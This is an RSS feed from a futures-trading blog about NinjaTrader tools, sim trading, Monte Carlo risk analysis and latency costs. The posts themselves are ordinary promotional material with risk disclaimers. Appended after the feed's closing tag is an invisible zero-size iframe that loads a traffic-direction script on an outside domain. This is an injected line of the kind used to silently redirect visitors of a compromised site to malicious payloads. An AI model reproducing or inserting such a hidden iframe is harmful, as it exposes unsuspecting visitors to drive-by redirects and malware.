<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
		xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading &#187; Emini Indicies</title>
	<atom:link href="http://blog.tradersplatform.com/category/emini-indicies/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.tradersplatform.com</link>
	<description>A discussion dedicated to independent traders of futures stock Indicies</description>
	<lastBuildDate>Tue, 03 Jan 2012 16:22:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
	<copyright>Copyright &#xA9; E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading 2010 </copyright>
	<managingEditor>matt@optimusfutures.com (E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading)</managingEditor>
	<webMaster>matt@optimusfutures.com (E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading)</webMaster>
	<image>
		<url>http://blog.tradersplatform.com/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
		<title>E-Mini S&amp;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading</title>
		<link>http://blog.tradersplatform.com</link>
		<width>144</width>
		<height>144</height>
	</image>
	<itunes:subtitle></itunes:subtitle>
	<itunes:summary>A discussion dedicated to independent traders of futures stock Indicies</itunes:summary>
	<itunes:keywords></itunes:keywords>
	<itunes:category text="Society &#38; Culture" />
	<itunes:author>E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading</itunes:author>
	<itunes:owner>
		<itunes:name>E-Mini S&#38;P Futures Strategies, Mini Dow, Mini Russell and Mini NASDAQ Trading</itunes:name>
		<itunes:email>matt@optimusfutures.com</itunes:email>
	</itunes:owner>
	<itunes:block>no</itunes:block>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://blog.tradersplatform.com/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<item>
		<title>Trade Performance Functionality Using NinjaTrader</title>
		<link>http://blog.tradersplatform.com/trade-performance-functionality-using-ninjatrader/194</link>
		<comments>http://blog.tradersplatform.com/trade-performance-functionality-using-ninjatrader/194#comments</comments>
		<pubDate>Sat, 12 Nov 2011 06:59:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[chart tools]]></category>
		<category><![CDATA[Emini Indicies]]></category>
		<category><![CDATA[NinjaTrader]]></category>
		<category><![CDATA[trade perfoamnce]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=194</guid>
		<description><![CDATA[An overview of the Trade Performance functionality of the NinjaTrader&#8217;s futures trading platform. Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/_d7Wz-5XgtU?hd=1" frameborder="0" allowfullscreen></iframe><br />
An overview of the Trade Performance functionality of the NinjaTrader&#8217;s futures trading platform.</p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/trade-performance-functionality-using-ninjatrader/194/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Real Time Trading Simulation Engine using NinjaTrader</title>
		<link>http://blog.tradersplatform.com/real-time-trading-simulation-engine-using-ninjatrader/182</link>
		<comments>http://blog.tradersplatform.com/real-time-trading-simulation-engine-using-ninjatrader/182#comments</comments>
		<pubDate>Sat, 12 Nov 2011 06:09:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Emini Indicies]]></category>
		<category><![CDATA[low latency execution]]></category>
		<category><![CDATA[NinjaTrader]]></category>
		<category><![CDATA[paper trading]]></category>
		<category><![CDATA[sim trading]]></category>
		<category><![CDATA[Technical Analysis for E Mini Indicies]]></category>
		<category><![CDATA[unfiltered data]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=182</guid>
		<description><![CDATA[When doing sim trading in futures you want to come as close was possible to real time trading. Watch how it is done with NinjaTrader. Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/67ejGReBAzU?hd=1" frameborder="0" allowfullscreen></iframe></p>
<p>When doing sim trading in futures you want to come as close was possible to real time trading. Watch how it is done with NinjaTrader.</p>
<p><strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/real-time-trading-simulation-engine-using-ninjatrader/182/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Risk Analysis Tools for Traders Using NinjaTrader</title>
		<link>http://blog.tradersplatform.com/risk-analysis-tools-for-traders-using-ninjatrader/176</link>
		<comments>http://blog.tradersplatform.com/risk-analysis-tools-for-traders-using-ninjatrader/176#comments</comments>
		<pubDate>Sat, 12 Nov 2011 06:01:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Emini Indicies]]></category>
		<category><![CDATA[low latency execution]]></category>
		<category><![CDATA[NinjaTrader]]></category>
		<category><![CDATA[risk analysis]]></category>
		<category><![CDATA[Technical Analysis for E Mini Indicies]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=176</guid>
		<description><![CDATA[An overview of the Monte Carlo simulator, a risk-analysis tool provided by NinjaTrader. Take a look as to how to view it before you implement your system live. Trading futures and options involves substantial risk of loss and is not suitable for all investors. Past performance is not necessarily indicative of future results.]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/cjOLlGkBiy4?hd=1" frameborder="0" allowfullscreen></iframe></p>
<p>An overview of the Monte Carlo simulator, a risk-analysis tool provided by NinjaTrader.<br />
Take a look as to how to view it before you implement your system live.<br />
<strong>Trading futures and options involves substantial risk of loss and is not suitable for all investors.  Past performance is not necessarily indicative of future results.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/risk-analysis-tools-for-traders-using-ninjatrader/176/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Latency cost for Futures Traders Part 2</title>
		<link>http://blog.tradersplatform.com/latency-cost-for-futures-traders-2/84</link>
		<comments>http://blog.tradersplatform.com/latency-cost-for-futures-traders-2/84#comments</comments>
		<pubDate>Sat, 20 Aug 2011 05:59:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Emini Indicies]]></category>
		<category><![CDATA[low latency execution]]></category>
		<category><![CDATA[NinjaTrader]]></category>
		<category><![CDATA[Rithmic]]></category>
		<category><![CDATA[unfiltered data]]></category>

		<guid isPermaLink="false">http://blog.tradersplatform.com/?p=84</guid>
		<description><![CDATA[Latency cost will occur between the order submission and the actual price execution. The most substantial cost occurs on order that are &#8220;Market&#8221; order where a trader would seek an immediate execution. This is what traders call &#8220;slippage&#8221;, however latency also has costs associated with Limit Order. Limit orders get executed on a price-time queue. [...]]]></description>
			<content:encoded><![CDATA[<p>Latency cost will occur between the order submission and the actual price execution. The most substantial cost occurs on order that are &#8220;Market&#8221; order where a trader would seek an immediate execution. This is what traders call &#8220;slippage&#8221;, however latency also has costs associated with Limit Order.</p>
<p>Limit orders get executed on a price-time queue. Those traders who use Limit as entry or exit and do not have a low latency solution, will experience a further delay at different price levels and miss the order all together. Consider that if prices move quickly, traders that have delays will be less likely to fill their new limit orders as the cancel/replace orders get queued again further behind the traders who had low latency solutions. Traders might not get filled at all or just get partial execution.</p>
<p>The cost of latency for futures traders who use liquid markets as the eMini S&amp;P,Bond futures, currency futures,etc explains why a demand for low latency technology could be increasing.<br />
Using low latency solutions is an advantage even for those who have might have less latency cost as used in swing trading and long term methodologies.</p>
<p><strong>There is no total elimination of latency </strong>as market conditions also play a big role, along with external factor, however here are some method that you could POTENTIALLY decrease latency:</p>
<p>1) Use method that require less transactions and higher time frames where cost of latency might affect a trader less.<br />
2) Plug a data feed such as Rithmic to your trading platforms. Please read here about the fast capability of order dissemination: <a title="Low Latency Futures Trading " href="http://www.tradersplatform.com/NinjaTrader#Features-and-Capabilities">Low Latency Futures Trading </a><br />
3) Use a platform such as <a title="NinjaTrader Platform" href="http://www.tradersplatform.com/NinjaTrader#NinjaTrader-Platform">NinjaTrader</a> because it can facilitate Rithmic. In addition, Rithmic provides unfiltered data which is important for those who will trade on a tick by tick data.<br />
4) If you live in far location, also consider a <a title="hosting solutions for NinjaTrader " href="http://optimusfutures.com/hosted_ninjatrader.html" target="_blank">NinjaTrader hosting solution</a></p>
<p>Prior to deciding whether you use one solution over another, you could use a demo and decide if the use of one technology over another would be advantageous to you. </p>
<p><strong>Trading in futures and options on futures involves substantial risk and is not suitable for all investors. Past performance is not necessarily indicative of future results.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.tradersplatform.com/latency-cost-for-futures-traders-2/84/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
